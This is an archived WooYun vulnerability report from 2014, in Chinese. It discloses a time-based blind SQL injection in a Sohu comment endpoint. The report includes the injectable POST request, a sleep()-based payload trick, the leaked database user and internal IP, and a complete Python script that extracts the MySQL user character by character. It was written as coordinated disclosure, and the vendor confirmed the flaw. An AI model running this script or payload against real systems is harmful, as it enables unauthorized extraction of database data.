当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083257

漏洞标题:搜狐某站点存在MySQL注射(附验证python脚本)

相关厂商:搜狐

漏洞作者: lijiejie

提交时间:2014-11-14 13:04

修复时间:2014-12-29 13:06

公开时间:2014-12-29 13:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-14: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向核心白帽子及相关领域专家公开
2014-12-04: 细节向普通白帽子公开
2014-12-14: 细节向实习白帽子公开
2014-12-29: 细节向公众公开

简要描述:

谢谢搜狐前些天寄送的小狐狸公仔。
贵司的SQL注射我是还握着几枚的,只提交wooyun和360上没有出现过的。

详细说明:

注入点:

POST http://baodian.women.sohu.com/Comment/ajax_add_comment
age=4&content=aaa&mark%5B10%5D=1&mark%5B20%5D=1&mark%5B21%5D=1&mark%5B22%5D=1&mark%5B23%5D=1&mark%5B6%5D=1&score=1&score=1&score=1&score=1&score=1&score=1&score=1&score_total=1&skin=7&title=ccc&pro_id=21592


参数pro_id可注入。 MySQL time blind。
后端不稳定,有一定的几率会出现404,因此我把http Request的检查写到单独的函数中。404不管,只顾200和502.
这里有个小技巧。一个sleep(1=1),后端是不一定502 time out的,因此我是把3个sleep相加,这样就可以保证后端一定会502.

漏洞证明:

猜解user(),得到:

in@10.16.4.133


sohu_2.png


验证python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
user = ''
def check_request(body):
# 检查是否命中
while True:
try:
conn = httplib.HTTPConnection('baodian.women.sohu.com', timeout=10)
conn.request(method='POST',
url="/Comment/ajax_add_comment",
body=body,
headers=headers)
start_time = time.time()
ret_code = conn.getresponse().status
conn.close()
if ret_code == 200:
print '.',
return False
elif ret_code == 502:
return True
except Exception, e:
if conn:
conn.close()
return True

for i in range(1,30,1):
for payload in payloads:
body = "age=4&content=aaa&mark%5B10%5D=1&mark%5B20%5D=1&mark%5B21%5D=1&mark%5B22%5D=1&mark%5B23%5D=1" + \
"&mark%5B6%5D=1&score=1&score=1&score=1&score=1&score=1&score=1&score=1&score_total=1&skin=7&title=ccc&pro_id=21592"
s = "+sleep(ascii(mid(user()from(%s)for(1)))=%s)" % (i, ord(payload))
body = body + urllib.quote(s) * 3
if check_request(body):
user += payload
print "\n[Scan in progress]",user
break
print '\n[Done] MySQL user is' + user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-14 13:16

厂商回复:

感谢对搜狐安全的支持。^_^。

最新状态:

暂无